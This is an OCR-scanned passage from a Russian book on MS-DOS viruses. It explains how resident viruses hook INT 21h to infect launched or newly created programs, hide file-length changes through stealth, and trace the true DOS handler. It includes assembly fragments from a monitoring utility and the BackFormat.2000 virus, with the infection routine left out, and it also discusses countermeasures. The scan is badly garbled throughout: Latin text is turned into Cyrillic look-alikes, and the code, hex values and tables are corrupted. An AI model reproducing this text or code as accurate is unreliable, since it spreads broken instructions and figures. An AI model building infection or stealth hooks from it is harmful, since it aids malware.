У с т а н о в и т ь  н о в о е  з н а ч е н и е  д ля  в е к т о р а  211п, оно  

б у д е т  р а в н о  Е Б :0  (там "живет" вирусннй о б р а б о т ч и к ) .

По с}ти, операция перехвата прерьшания сводится к замене значе- 
ния адреса, расположенного в соответствуюшем месте таблицн век- 
торов прернваний. Поэтому сушествуют вирусн, которме не поль- 
зуются функциями 25Ь/35Ь, но напрямую вносят свои исправления 
в содержимое первого килобайта оперативной памяти (например, все 
тот же 5УС.Ю64):
х о г а.<, ах
ШОУ 05, ах ; 03:=0

ах, [00084] ; 84г; = 21п»4 -  позиция вектора прериеания 211)
гпоу С5 : 0Ғ321 [51 ] ,  ах . Сохранить; 1) ах -  омешение;
ШОУ 08 : ЗЕ621[31] ,  аз ; 2) .18 -  с в г н е н т  старого значения вектора

С11
ШОУ [00ц84] , о Т Т зе Т  Н Т 21 . П о м а с т и т ь  в т а б л и ц у  в е к т а р о в :  1 ) с и е ц е н и е ;
и о у [00086],е з ; 2) оегмент овоего обработчика.
311

Разумеется, вирус не может полностью подменить системннй об- 
работчик прернвания, ведь на этот обработчик возложенн сотни и 
тнсячи жизненно важннх для системн функций. Поэтому вирус рано 
или поздно, но обязательно передает управление стандартному обра- 
ботчику. Рассмотрим типичнме для резидентннх файловнх вирусов 
случаи.

3.6.3.1. Перехват запуска программи
Это наиболее часто используемьш в вирусах случай. Дело в том, 

что при внзове функции 4ВЬ (а именно ее используют для запуска 
других программ операционная система и сервиснне оболочки типа 
МоЛоп Сотшапдег) в регистровую пару 05:ГЗХ помешается адрес 
полного имени файла запускаемой программн. Этого более чем до- 
статочно, чтобн открнть указанннй файл, инфицировать его, а потом 
передать управление стандартной процедуре -  пусть она теперь дела- 
ет, что и положено, то есть запускает указанную программу. Впрочем, 
нередок и иной порядок действий -  сначала внзмвается стандартная 
процедура запуска, а после ее завершения виполняется попнтка ин- 
фицирования.
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Потенциально такой вирус заразит (или, по крайней мере, попн- 
тается заразить) все запускаемме программм. Для типичной конфи- 
гурации серединм 1990-х годов под прицел вируса в первую очередь 
попадали командньга процессор «СО М МАКО. СОМ >>, компонентн 
«МоНюп Соттапйег» (например, ядро пакета «КСМАШ.ЕХЕ» и 
«вьювер» «КГСУ1Е\\7.ЕХЕ»-), ну и, конечно, прикладнне программн, 
с которьши работал пользователь.

Продемонстрируем перехват запуска программн на примере рези- 
дентной утилитн, которая вместо инфицирования запускаемой про- 
граммм просто внводит на экран имя файла, из которого она стар- 
товала. Такая утилита может бмть полезной для «мониторинга», то 
есть слежения за запускаемнми программами. Иногда наблюдение за 
результатами ее работн может открнть много малоизвестнмх особен- 
ностей функционирования операционной системн.
С8ЕС зедтепт

аззигае сз :С 8Е 0 ,й з :С 8ЕЕ ,зз : С8ЕС
огд 00П

8ТАКТ:
чМр ТИЗТАИ
; Это процедура обрзботки прернвания 21П

1НТ21:
Стр аИ, 4Вп ; Эапуск 0

РН1МТ , Да -  на печать имени файла
СШр ах, 0АВС0П ; Паооль?
^пг 0Й1Е1Н
то>/ ах, СОСВАП ; Отзмв:

0В1С1Н:
ЙЬ ОЕАП ; ато к эманда вида ХХХХ-ХХХХ,

0Ғ321 ? ; она передаст управление стандартному
8ЕС21 ? ; обраб этчику

, Здесь чн печатаем имя за пускземой программи
РЯ1ИТ:

. Сохраняем в стеке все регистру, которие врвменно используем 
риз^ ах
ризИ ох
рузМ 31
; Пара 08: 0Х указнеает на имя файла програюм 1
ПОУ 5 1 , ЙХ
; Это цикл печати символов, пока не встретится 0 - конец строки

ЮОРС:
10Й50
сшр а1, 0

N6x1
1 пг 29п ; Печать символа иэ регистра А1
]шр 1_00РС

N5X1:
; Восстановим все регистра
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рор 31
рор Ох
рор ах
, И вернем управление оригинэльному обработчику прернвэния 21Н 
]шв оч:о:м
; Это транзиентная часть программи.

™8ТАИ:
, Проверим, установлена ли у*е утилита в пэмяти? 
июу ах. ОАВСОИ . Пароль
т г  21п
отр ах, ООСВАИ ; Отзив?
Зг Ғ1П13П . 'Уже устэноелена - вмхоя
; Узнэем адрес оригинального обработчика преривания 2111 
шоу ап.35Н
поу А1 . ? '•
т т  21 п
; Заполняем конкретнвв поля в команде .]МР 
тоу 0Ғ32’ ,Ьх
лоу 5Е621.ез
; Наэначаем собственннй обработчик для прерьшания 21п
пда аП.25п
®0У а1,21п
шоу й х . о Т Т з е г  Ш Т 21

Ш  21 п
: Укаэнваем размер оставлявмого в памяти фрагмента.
(поу <1х, оТТзег 1М8ТАИ
; Резидентное завершение программи 
1ПТ 2711

; Обнчное завервение программн
Ғ 1 п 1 з И:

1ПТ 2011

С8ЕЗ Епйз
епй 8ТАЧТ

Следует иметь в виду, что команда «}МР ХХХХгХХХХ» передает 
управление в стандартньга обработчик прермвания «насовсем». Воз- 
врат же в точку внзова будет внполнен командой «1КЕТ», размешен- 
ной где-то в недрах ядра операционной системн. Чтобн этого избе- 
жать, необходимо обрашаться к стандартному обработчику примерно 
вот в таком стиле:
ризПТ

саII Й«ог0 ртг сз: 0Ғ821

1 геТ

'Гакая последовательность имитирует команду «ШТ» и помеидает в 
стек три слова: значение регистра флагов, сегмент и смевдение адреса 
возврата. С-тандартннй обработчик, закончив свою работу, по коман-
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де «1КЕТ» извлечет эти значения из стека и окажется в точке вмзова, 
то есть сразу после командм «САЬЕ». Теперь можно внполнить необ- 
ходимь1е действия (например, отобразить на экране имя запускаемой 
программн, если стандартннй обработчик не изменил значения ре- 
гистров 0 5  и ОХ) и теперь уже окончательно вернуться в приклад- 
ную программу при помоши собственной командн «1КЕТ».

Также следует обратить внимание на способ, которнм программа 
проверяет, не находится ли в памяти уже ее другая резидентная ко- 
пия, установленная ранее. В обработчике прернвания 21Ь имеется 
«веточка», которая обрабатътает нестандартную функцию с кодом 
ОАВСОЬ, -  это своеобразннй «пароль». Если наш обработчик в па- 
мяти уже присутствует, то он откликнется правильннм «отзнвом» 
(поместит в регистр АХ число ООСВАЬ), и это будет знаком того, что 
надо «тихо и м и р н о  » завершиться.

Подобннй прием характерен практически для всех резидентннх 
вирусов. Разумеется, есть способ «обмануть» вирус, «внушив» ему, 
что его копия уже сушествует в памяти. Достаточно написать и за- 
пустить (как можно раньше, например в «АИТОЕХЕС.ВАТ» или 
•«СОКҒ1С.5У5») крохотную резидентную программку, которая пра- 
вильно откликается на «пароль», имитируя вирус. Этот прием назн- 
вается 4вакцинацией памятиъ, он позволяет надежно заблокировать 
по крайней мере размножение вируса на компьютере.

3.6.32. Перехват файловьрс операций
Более «продвинутне» вирусм перехватьшают не запуск программ, 

но различнне операции с файлами -  создание (функции ЗСЬ или 
5ВЬ), открнтие (функция зЬЬ), закрнтие (функция ЗЕЬ) и т. п. Если 
модифицировать приведенную в предндушем разделе утилиту так, 
чтобм она отображала имена всех файлов, с которнми внполняются 
какие-либо операции, то получеппая при ее помоши трасса собьггий 
будет поистине огромной. Действительно, перехватнваюший файло- 
вне операции вирус получает в свое распоряжение гораздо больше 
потенциальннх «жертв». Но в этом случае от него требуется умение 
распознавать вид файла по его внутренней структуре, ведь грош цена 
такой саморазмножаюшейся программе, которая «кидается». напри- 
мер, на файлн баз данннх (расширение «.ОВҒ»), текстн (расширенне 
«.ТХТ») и прочие абсолютно «несъедобнне» объектн!

Зато правильное применение техники обработки файловнх опера- 
ций позволяло вирусописателям организовьтвать очень интереснне 
алгоритмм заражения. Например, вирус ВаскҒогта1.2000 заражал не
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все программь! подряд, но только создаваемие на дискетах. Посколь- 
ку чаше всего файль! создаются на дискетах при копировании их туда 
с винчестера, то это -  оптимальная стратегия заражения, направлен- 
ная на распространение вируса путем переноса с машинм на машину. 
Не нужно десятков и сотен зараженннх программ на винчестере, до- 
статочно прицепляться только к тем из них, которне заведомо гото- 
вятся к путешествию!

; Вирус ВаскГогшат.гооо. Фрагмент ооработчика прермвания 21п
1П-С21:

Сшр ап, 5В ; Создание файла?
Ое Сгеате ; Да - на обработку создания
Стр ап, ЗЕ ; Закритие файла?
Опе 5К1р ; На стандартнмй обработчик
отр С1обе ; Да -  на обработку закрутия

Обрэботкз соэдания файла
СгеаТе:

ри5Н ах
ризп Ьх
ризИ 31
ЙОУ Ь х , а.ҳ , В 03: 0Х -  имя вида Х:\ХШХХХ.Х)ОС
сшр [0 Х + 1 ] . , Второй симеол -  двоеточие?
опе З к 1 р : Нет - на стандартнмй обработчик
Ио у а1 .[Ьх]
Апс) а1 ,ОСҒЬ ; Перевеоти символ е верхний регистр
С® а1, 'А ' . Перюй символ -  зто 'А ‘ ?
Ое 0пҒ1ад ; На установку флага готоености
Стр а1, 'В ' ; Первнй символ -  это 'В '?
ое 0пҒ1ад : На устзновку флага готовности
0я>р МоОтзкАВ

0пҒ1ад:

рор 51
рср Ьх

роо ах
ризпг ; Со-здать файл
с а П  сз:й«огй ртг 1пт21

в о у  с з :И ад , АХ ; Устаноеить флаг "файл ооэаан"

1 геТ

О бработкз закрития  файла

С1озе:

с тр  Ғ1ад, 0 . Сочданмц» файлов нет’
1пе 1пТесТ ; Е сгь  -  продолжить

]шр Зк 1 р . Нет -  на отандаотннй  о б р а со тчик
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ГпТесТ:

; ! I ! Здесь в и з о в  п р о ц е д у р н  и н Ф и ц и р о ва н и я  ( о н  пропуцен) ! ! !

то\’ С8; Ғ1ао. ■ С-броеить фоаг "файл создан"

ризй)1 ; Закрнть файл
са11 С 8 : й и о г й  ртг 1пт2]

Аналогичннм образом действовал и знаменитнй ОпеЬа1£.3445, ко- 
торнй в 1994-1995 годах внзвал обширнейшую пандемию во всем 
мире.

Вирусологу идея перехвата файловнх операций подсказнвает 
способ «поимки с поличнь1м» нерезидентннх вирусов при помохци 
постоянно находяшейся в памяти утилитн, отслеживаювдей «нодо- 
зрительнне» действия (прежде всего запись в программнне файлн). 
Нужно только постараться активировать утилиту раньше вируса, на- 
пример разместив команду ее запуска в «АиТОЕХЕС.В АТ» или даже 
в «СОМҒЮ.5У8». Написать такую угилиту можно самостоятельно, 
а можно и воспользоваться готовой. Например, в состав пакета «Док- 
тор Касперский», распространявшегося фирмой КАМИ в начале 
1990-х годов XX века, входила маленькая программка «-В.СОМ», 
которая позволяла не только реагировать на «подозрительнне» фай- 
ловне операции, но и просматривать значения регистров процессора 
в момент внзова, содержимое участков оперативной памяти, из кото- 
рнх эта операция бнла внзвана, и т. п.

3 .6 3 3 . Перехват операций с каталогами
Поиск файлов в каталогах -  массовая операция. Каждьш раз, пере- 

мешаясь по своему диску в МоЛоп Соттапс1ег'е. пользователь полу- 
чает в «голубьхх окошках» все новне и новме списки файлов. И не 
задумнвается о том, что Коп.оп Сотшапйег для этого десятки и сот- 
ни раз обрахдается к функциям 4ЕЬ/4ҒЬ. Достаточно вирусу перехва- 
тнть эти функции в своем резидентном обработчике прернвания 21Ь, 
и он получит возможность такого же массового заражения программ! 
Другой вариант: вирусом перехватнвается только функция ЗВЬ сме- 
нн текушего каталога (в П8:ОХ традиционно передается его имя), 
а сервисн 4ЕЬ/4ҒЬ он внзнвает в цикле уже по собственной иници- 
ативе. Получается своего рода гибрид резидентного и ЗеагсЬ-вируса, 
причем необнчайно «прожорливнй»!

Вирусн такого рода бмли «популярнн» в начале 90-х годов XX ве- 
ка (семейства Ах1га, МС, ХРЕН и др.), но потом «вншли из модн».
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Видимо, это связано с тем, что «прожорливость» перестала считать- 
ся среди вирусописателей таким уж привлекательньш свойством 
компьютерного вируса. Действительно, в условиях более или менее 
развитой антивирусной индустрии сформировалась ситуация, когда 
чем больше программ на машине заражено вирусом, тем легче «пуга- 
ному» пользователю заметить его и принять соответствуювдие мерн.

3.7. Вирусь1-«невидимки»
Я не оборотень. У меия специальная одежда 
Она может делать меня невидимьм, только 
плохо работает.

А. и Б. Стругацкие. «Жук в м\равейнике»

Применение 5г,еа1г.Ь-технологии распространено не только в загру- 
зочнмх вирусах, но и в их файловой разновидности. Поскольку «ор- 
ганами чувств» и «эффекторами» для прикладнмх программ и самой 
операционной системн являются в основном сервиснне процедурн, 
доступнне через прернвание 21Ь, то сушествует теоретическая воз- 
можность акк}фатно «подменить» некоторое количество этих проце- 
дур (впрочем, как и любнх других) и заставить их работать по вмгод- 
ном>' для резидентного вируса алгоритму. Прежде всего эта внгода 
закчючается в том, чтобн скрнть факт присутствия вируса в системе.

Самнм распространенннм является способ «корректировки» 
длинн зараженной программн, когда вирус перехвать1вает функции 
4ЕЬ/4ҒЬ (или 11Ь/12Ь), при помоши которнх программн «смотрят» 
на каталога, и вьиитает из возврашаемой длинн зараженннх про- 
грамм размер их вирусной части. Дешево и сердито.

Другой относительно простой и часто используемнй метод «ослеп- 
ления противника» заключается в том, чтобн перехватить функции 
ЗВЬ (открнтие файла) и ЗЕЬ (закрьггие файла) и всякий раз прове- 
рять, открнвается ли программннй файл уже зараженной программьг. 
Если происходит именно это, то вирусу достаточно «внлечить» про- 
грамму (то есть удалить из нее вирусннй код), а в момент закрнтия -  
заразить снова. Открмвая зараженнмй файл при помоши стандарт- 
ннх средств (например, для просмотра по ҒЗ в МогСоп Соттапс1ег’е), 
вирус внутри него увидеть невозможно, его там в это время просто 
физически нет!

Кстати, отсюда следует простой способ «лечения» зараженной 
программьх: открмть ее в оболочке МогСоп Соттапйег по ҒЗ и сра-
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зу же перезагрузиться, нажав для надежности кнопку Кезек1. После 
перезагрузки программа окажется «здоровой»!

Еш;е одна вариация этого метода лечения «гольши руками» заклю- 
чается в том, чтобм заархивировать зараженнне файлм каким-нибудь 
упаковшиком (типа 21Р, АҚ[, КАК и т. п.), тогда внутри архива ока- 
жутся программь1 , не являюшиеся «вирусоносителями». Любопнтно, 
что этот факт побуждает наиболее «упертмх» вирусописателей зани- 
маться перехватом функции 4ВЬ, отслеживанием момента запуска 
программн-упаковшика и отключением 5геа11:Ь-механизма на время 
его работн.

Еше более сложнне вариантн реализации ЗСеакЬ-технологии 
предусматривают перехват и других сервисннх функций М 8-005. 
Вот, например, фрагмент описания (от Е. Касперского) для одно- 
го из самнх сложннх и «продвинутьк» в этом отношении вируса 
Ғго<1о.4096, в свое время (в 1990 году) поразившего воображение 
профессиональннх вирусологов:

Полноценний «стелс»-вирус: обрабать/вает 20 функций 1ИТ 21Ь 
(ҒшдПгз1, ҒтдМех1, Яеас1, ШИе, 1_зеек, Ореп, Сгеа1е, С/озе, Ехес и 
т. д.) ихорошо маскируется. При обрашении 0 0 5  кзараженному 
файлу вирус подставляет его первоначальную длину и время мо- 
дификации. При чтении файла или загрузке его в память модифи- 
цирует считанную сдиска информацию таким образом, что файл 
предстает в незараженном виде. При открь/тии файла для записи 
вирус лечит его (так как запись в файл может уничтожить часть 
вируса) и снова заражает при закрь/тии.
Примечательно, что вирус перехватнвал не только файловне опе- 

рации, но и операции с памятью (48Ь -  создать блок, 49Ь -  уничто- 
жить блок, 4АЬ -  изменить размер блока). Оставшись первоначально 
в ОЗУ одним из традиционннх для резидентнмх вирусов методом, 
Ғго<1о.4096 в дальнейшем внимательно следил за цепочками блоков 
памяти. Если какой-то крупньгй блок памяти внсвобождался (на- 
пример, по причине завершения работн занимавшей его программн), 
то вирус вместо внсвобождения просто сильно уменьшал его разме- 
рн, записнвал в МСВ код 8 и «переселялся» в этот блок. Если же 
какая-то программа внсвобождала свой фрагмент памяти не полно-

1 Имеется в виду, что вирус теоретически может перехватить «клавиату])- 
ное» прернвание н̂ змер 9 и по нажатии *СГг1 * А11 * БеЬ) успеть заразить 
«жертву».
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стью, оставляя в ОЗУ небольшой блок и завершаясь резидентно, то 
Ғгск1о.4096 поступал противоположнмм образом -  расширял этот ре- 
зидентньга блок и перемеадался в его конец, вмступая для резидент- 
ной программм в роли «незваного соседа>>. Таким образом, вирус не 
имел постоянного местоположения в памяти!

Вот что писал по поводу обнаружения и лечения Ғгсм1о.4096 
Д. Н. Лозинский:

Этот вирус превосходит все мь/слимь/е предель/ затрати труда... 
Мне представляется, что универсальнь/й сторож, которшй обна- 
ружил би появление в машине этого вируса, должен просмат- 
ривать каталоги не стандартнь/ми средствами М8-005, а через 
прямое счить/вание секторов, поскольку все средства доступа 
к файлам отдают программам информацию, из которой удаленш 
все следь/ деятельности вируса.
Понятно, что антивирус, устроенньхй таким образом, должен бнл 

воспроизводить своими средствами немалую часть М 5-005, по 
крайней мере всю ее файловую систему!

Еше сильнее впечатлили Б^еакЬ-вирусн Н. Н. Безрукова:
...Это примерно 6 тьюяч строк исходного текста, то есть от не- 
скольких месяцев до года упорной работьг..
Забавно, что в те времена никто так и не раскрнл «страшную тай- 

ну» вируса. Только несколько лет спустя, в середине 90-х годов, когда 
исходнме текстм Ғгос1о.4096 (и подобньгх ему вирусов) стали доступ- 
нм широкой обшественности, вьшснилось, что они просто-напросто 
содержат в себе множество фрагментов оригинального фирменного 
кода одной из ранних версий М 5-В05. Зачем писать с нуля, когда 
можно воспользоваться готовьгми разработками?

Впрочем, замешательство вирусологов продолжалось недолго. 
Должнм бмли найтись более простне и дешевме способм противо- 
действия вирусу, и они довольно бмстро нашлись. Идея заключалась 
в том, чтобм обрашаться напрямую к сервисам М 5-Б05, минуя хит- 
роумнме вируснме обработчики. А для этого достаточно бмло знать 
«истинньга» адрес точки входа в эти сервисм -  не тот, которнй ука- 
зан в таблице векторов прермваний, а тот, которнй расположен где-то 
глубоко в недрах ядра операционной системн.

Вирус Ғгос1о.4096 бьтл побежден, но и вирусописатели не дрема- 
ли. Они изобретали все более изошреннне способн сокрнтия своих 
«изделий» от глаз пользователей и вирусологов. При этом 51еа1сЬ- 
технолопш разрабатмвались по разнмм направлениям:
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О не дать пользователю возможность заподозрить факт наличия 
вируса в системе;

О «спрятаться» от антивируса-сканера;
О обойти «барьерн*>, поставленнне резидентньши антивируса- 

ми-блокироввдиками.
Крайне сложную технологию «невидимости» использовал некто 

Р. Бетепик в своем вирусе РМ.\Уагк)егег. Ему удалось внйти за пре- 
делн возможностей, достуннььх в стандартном режиме процессоров 
1п(е1. Автор вируса, пользуясь особенностями заадишенного режи- 
ма (речь о нем пойдет в нашей книге дальше -  в главе, посвяшен- 
ной \¥тс1о\У5-вирусам), создал два «параллельннх пространства»: 
в одном «жил» вирус, а в другом -  остальнне программн М 8-003 
(в том числе и антивирусн). К счастью, РМ.\Уап<1егег оказался не 
слишком приспособленннм к типпчннм программно-аппаратннм 
конфигурациям, используемьш большинством пользователей. Да и 
не собирался автор внпускать свой вирус в «большой свет». Потрясе- 
ние испьггали лишь вирусологи, изучавшие этот уникальньга образец 
«электронной фаунн>.

Тем не менее и этот вирус не поставил перед вирусологами неразре- 
шимой задачи. Как для этого вируса, так и для всех остальннх «невиди- 
мок» вирусологи всегда с успехом разрабатнвали мошнне и надежнне 
алгоритмн, опровергаюшие изнскания вирусописателей. Впрочем, 
если рассмотреть проблему с точки зрения здравого смнсла, то не- 
трудно прийти к внводу, что антивируснне изнскания в этой области 
хотя интереснн и увлекательнн, но одновременно и малоактуальнн, 
ведь 51еакЬ-механизмн по определению работают лишь в «грязной» 
(то есть в уже зараженной) системе! А это значит, что все хитромудрое 
многообразие маскируювдих вирусннх алгоритмов легко опроверга- 
ется использованием очень простого рецепта: необходимо запускать 
антивирус, загрузившись с носителя (дискетн, СО-диска, другого вин- 
честера и т. п.) с заведомо «чистой» операционной системой!

Тем не менее поскольку тема борьбн со 51еа1сЬ-технологиями дей- 
ствительно очень интересна и поучительна, то все же рассмотрим 
подробнее наиболее часто используюшиеся элементн этой техноло- 
гии и способн противодействия им. Тем более что некоторне из них 
широко применяются и в эпоху \Утс1о\\-5-вирусов.

3.7.1. «Психологическая» невидимость
В первую очередь вирусн стараются, конечно же. скрнваться от поль- 
зователя. Сувдествует ряд простмх приемов, направленннх на то,
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чтобм работа программ, зараженннх вирусами, не отличалась (по 
крайней мере, внешне) от работм «здоровнх» программ. Их могут 
использовать даже нерезидентнне «зловредм».

Во-первнх, вирусн стараются сохранять неизменннми дату и вре- 
мя создания заражаемнх файлов. Действительно, при просмотре ка- 
талогов в N0110 11 Соттапс1ег’е или при помоьди командн «БШ» фай- 
лн с «сегодняшней» датой последнего доступа внделяются довольно 
резко, что может внзвать недоумение даже у не очень внимательного 
пользователя. Поэтому «грамотно» написаннне вируснперед открн- 
тием заражаемого файла определяют дату и время его создания при 
помовди функции 57Ь, а после закрнтия таким же образом восстанав- 
ливают прежнее значение.

Во-вторнх, вирусн стараются обрабатнвать ошибки ввода-внво- 
да. В старнх статьях и книгах (конца 1980-х годов) нередко можно 
бнло встретить примерно вот тақ\то характеристику какого-нибудь 
вируса:

...При попьтсе заражения этим вирусом файла, размеш,енного
назашиш,еннойотзаписидискете, на экранвь/даетсясообтение
«ШНе рго1ес1 еггог-  А (АЬоП), й (ПеТгу), I (1дпоге), Ғ(ҒаН)»...

Происходит это потому, что за вьшолнением файловнх операций 
в М 8-Б 08 «наблюдает» специальная контролируюшая подсистема, 
в случае возникновения ошибки вмзнваклцая прернвание с номером 
24Ь. По \'молчанию обработчик этого прерьшания отображает вос- 
произведенное внше сообвдение и ждет нажатия на одну из предло- 
женннх клавиш.

Если пользователь внбирает «А», то программа, внзвавшая эту 
ошибку, «убивается» самой операционной системой. Обработчик ин- 
формирует операционную систему о таком решении пользователя, 
помешая в регистр АЬ значение 2.

Если пользователь вьюирает «К», то операционная система пн- 
тается упрямо повторить системную операцию, внзвавшую ошибку. 
Такой «поступок» вполне лошчен, ведь пользователь часто имеет 
возможность устранить источник ошибки (например, передвинуть 
зашитное «окошечко» на дискете). В регистр А1. помешается значе- 
ние 1.

Если пользователь внбирает «I», то операционная система игнори- 
рует ошибку и возврашает управление программе, не информируя ее 
о нештатной ситуации. Регистр АЕ при этом содержит код 0.
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Наконец, если пользователь внбирает «Ғ», то операционная систе- 
ма возврашает управление программе, виставив бит Саггу в регистре 
флагов, и запоминает в своих внутренних переменннх числовой код, 
поясняювдий причину этой ошибки. Программа может «запросить» 
этот код (а всего их несколько десятков) при помоши функции 59Ь 
и самостоятельно принять решение о своих дальнейших действиях. 
Обработчик же лаконично возвраадает в решстре АЬ значение 3.

Профессионально написаннме программн содержат собственнне 
обработчики прернвания 24Ь. Например, КогЬоп Согптапс1ет при воз- 
никновении «критической» ошибки вместо процитированного внше 
бледно-серого сообвдения на черном фоне внводит на экран красивую 
красную рамку, предлагая внбрать тип реакции программн в режиме 
меню... что, в обшем-то, абсолютно не меняет сути происходявдих при 
этом процессов.

Почему бн в точности так же не поступать и вирусу? Обнчно виру- 
сн кратковременно перехватнвают прерьтание 24Ь перед попнткой 
открнтия (с установленньш признаком разрешения записи: код 1 или 
2 в регистре АЬ) заражаемого файла. Обработчик этого прернвания в 
вирусе внглядит примитивно:
1п Ц24:

шоу а1, 3
1Г8Т

Если происходит ошибка, то функция-«неудачница» возвравдает 
вирусу управление с установленньш в единицу битом Саггу, что слу- 
жит для него предостережением: продолжение попнтки заражения 
этого файла нецелесообразно. Вирус «бежит назад пятками», а поль- 
зователь так ничего и не замечает.

Следует также упомянуть чисто психологические «трюки», кото- 
рне хотя и применяются очень нечасто, но довольно забавнн. Связа- 
нн они с «маскировкой» увеличения длинн файла и рассчитанн на 
совсем уж невнимательного пользователя. Например, иногда можно 
и не заметить увеличение длинн, произошедшее на «круглую» вели- 
чину. Также психологически непросто обратить внимание не на кар- 
динальное изменение, но на «перепутаницу» цифр.
РҒЮ8ЯАИ0 ЕХЕ 12 345 17 09 01 ; "Здороеая" поограмма
РЙ0ЙЯАЙ1 ЕХЕ 14 345 17 09 01 , Программа "попраеилась" на 2000 байтов
РЯ08НАМ2 ЕХЕ 14 325 17.09 1)1 , "Перепутались" цифрм

3 файла Я  015 байтов

Разумеется, программа-антивирус всех вншеописанннх ухивдре- 
ний просто не заметит. Не на нее это рассчитано.
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3.7.2. Прямое обрашение к системе
Итак, для достижения «полной и окончательной победм» и вирусм, 
и антивирусн стремятся определить «истиннмй» адрес обработчика 
М5-БОЗ, расположенннй где-то в ядре системн. Обрахцаясь напря- 
мую по этому адресу, можно не только бьтть уверенннм в адекватном 
внполнении собственннх алгоритмов, но и препятствовать работе ал- 
горитмов «противника». Воистину, «кто первим встал, того и тапки»!

Прежде всего необходимо определиться, что считать «истинннм» 
адресом обработчика прернвания 21Ъ.

Ядро М 5-005  ранних версий всегда располагалось в нижних адре- 
сах памяти. Начиная с версии 4.0 появилась альтернатива: помешая 
в конфигурационннй файл С0НҒШ.5У5 строчку 005=Н1СН, 
11МВ, можно бьшо размешать это ядро где-то в областях НМА и 
I) М В. Но и в этом случае в нижних адресах памяти все равно оста- 
вался «переходник» -  небольшой фрагмент, «пересьшаюший» управ- 
ление на основное ядро:
ГОр
пор
са11 СС|еок_А20 , Проверка отэтуса адресной линии
1вр сз: йиогй ргг 008 ; Переход на ядро

Если же пользователь отказнвался от загрузки ядра в старшие адре- 
са ОЗУ, то «переходник» все равно присутствовал в нижних адресах, 
только имел он упровденнмй вид и состоял всего из одной командм 
^М Р». В обоих случаях адрес в позиции 0:84Ь таблицн векторов пре- 
рмваний сразу после загрузки «чистой» системн указмвал именно на 
этот «переходник» и лишь потом изменялся в результате многочис- 
леннмх перехватов прернвания со сторонн резидентннх драйверов и 
сервиснмх утилит. Такое положение дел до сих пор остается верньш 
даже для версий М 5-005, запускаюхцихся в ООЗ-сессиях современ- 
ннх операционнмх систем \¥1пс1о\у8 9Х и МТ.

Сам же «основной» обработчик, располагаюшийся вядре М 5-Б05, 
вмглядит примерно так: 
си
СМР АН, /3(1

М0 ; На обрзботку "ноамх” функций (0о$ > 7 X)
СМР АН.ЗЗИ

М1 , На обработку "ранних" функций (Воз ч 2.0)
Л  Н2 ; На обработку сервис.ной функции ЗЗп
С^Р АН, 64(1
УА МЗ , Н э  оОработ».у "р.эсшкренннх' фуньцяй (0оз > 4  0)
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Л  М4 ; На обработку сервисной функции 64й
СМР АН,51п
Л  М5 ; На обработку сврвисной функции 51И
СМ? АН, 50И
Л  М6 ; На обработку сервисной функции 50й
СМР АН.62П
Л  М7 , На обработку сервисной функции 62!";

Видно, что в результате многочисленннх проверок кода функции 
обработчик растекается на ряд «р>тсавов». В дальнейшем кажднй из 
этих «рукавов» также разделяется на ряд «ручейков», и подобное де- 
ление продолжается до тех пор, пока управление не будет передано 
на процедуру. реализукмцую конкретную сервисную функцию. Также 
полезно обратить внимание, что большинство сервисннх функций, 
используемнх вирусами (то есть функций с кодами от 34Ь и больше), 
обрабатнваются в одном обшем «ручейке».

Так что же считать «истинннм» адресом обработчика сервисной 
функции: адрес «переходника», адрес первой командн обшего обра- 
ботчика (в нашем примере это команда «СП»), адрес начала соответ- 
ствуюшего «ручейка» или даже адрес фрагмента кода, непосредствен- 
но обрабатьшаюшего эту функцию?

Разумеется, если знать значения всех этих адресов и передавать 
управление непосредственно на них, то результат работн сервисной 
функции во всех случаях будет одинаковнм. Значит, все эти адреса -  
«правильнне». Но преимуидество получит та программа, которая об- 
ратится в более «глубокую» точку.

Так как же искать эти адреса?

3.72.1. Метод предопределенньис адресов
Можно просто знать значения этих адресов для разннх версий опе- 

рационной системн и обрашаться к ним, внбирая из заранее заготов- 
ленной таблички (см. табл. 3.1).

Но прогресс не стоит на месте, и любне даннне подобного сорта 
неминуемо устаревают. Так, например, вирус Теггог.1085 «знал» и 
использовал только последние три строчки этой таблички и даже не 
предполагал, что появятся другие, более совершеннне версии опера- 
ционной системм. В результате история его окончилась вместе с по- 
явлением М 5-008  \г4.01.

Для корректного использования этого метода надо бьтть уверен- 
ннм, что текухцей версии операционной системм соответствует ка- 
кая-либо строка в табличке. Если же это не так, то приходится ис-
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пользовать другие способн поиска «истинного» адреса обработчика 
прерьшания 21Ь.

Таблица 3.1. Адреса характернь/х участков для разних версий
М З-йО З

Версия МЗ-ЭОЗ «Пере-
ХОДНИК»

Обработчик «Основная»
ветвь

7.Х 00С9Н:0ҒВ2Н ҒҒ03Н:41Е9И ҒҒ03Ь:420АН
6.Х, с)оз=И|д1п, с1е\лсе=Н1тет.5уз 0 123И:109 ЕИ ҒОС8И:40Ғ8И ҒОС8И:411 В(1

6.Х, й05=И|дИ 0123Ь:109ЕИ 03АСИ:40Ғ811 03АСЬ:411 В(1

6.Х - 002АИ:40Ғ8И 002АИ:411ВП
5.Х, б05=Жд11, с1е\лсе=111тет.зуз 0123П:109Е(1 ҒОС8Ь:40ЕЬИ ҒОС8И:4ЮЕ11
5.Х, с1оз=М1дИ 0123(1:109ЕИ 03АС(1:40Ғ811 03АсИ:411В(1
5.Х - 002АИ:40ЕЬИ 002А11:410Е11
3.30 0070И:050С11 0294И: 1460(1 029411:1480(1
3.20 007011:170011 - -
3.10 0070(1:004311 - -

3.7.22. Метод трассировки преривания
Этот красивнй и важнмй метод основан на использовании меха- 

низма «отладочного» прермвания. Дело в том, что если в регистре 
флагов процессора установлен в единицу бит ТҒ (восьмой), то после 
внполнения каждой очередной командн будет возбуждаться прерн- 
вание с номером 1 (адрес его обработчика располагается в таблице 
векторов прерьюаний в позиции 0:4). При внзове этого прернвания 
бит ТҒ сбраснвается, и процедура обработки прернвания работает 
в «обнчном» режиме. После внполнения командн «1КЕТ» из стека 
извлекается вместе с адресом очередной вьшолненной командн ста- 
рое значение регистра флагов (с установленньш битом ТҒ), и трасси- 
ровка продолжается. Этот механизм очень удобен для организации 
«пошагового» вьшолнения программ и используется, например, в от- 
ладчиках.

На обработчик «отладочного» прернвания можно возложить за- 
дачу отслеживания адреса текувдей исполняемой командн. Вот как 
знаменитьга вирус ¥апкее.2С (М2С-2885) использовал возможности 
этого механизма для поиска «истинного» адреса обработчика прерн- 
вания 21Ь.

Шаг 1. Сначала вирус перехватьшал «отладочное» прерьшание.
ЛОУ а х , 3501 

2П1
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Я10У 5 1 , (ЗХ

шоу сИ, ез

шоу ах, 2501(1
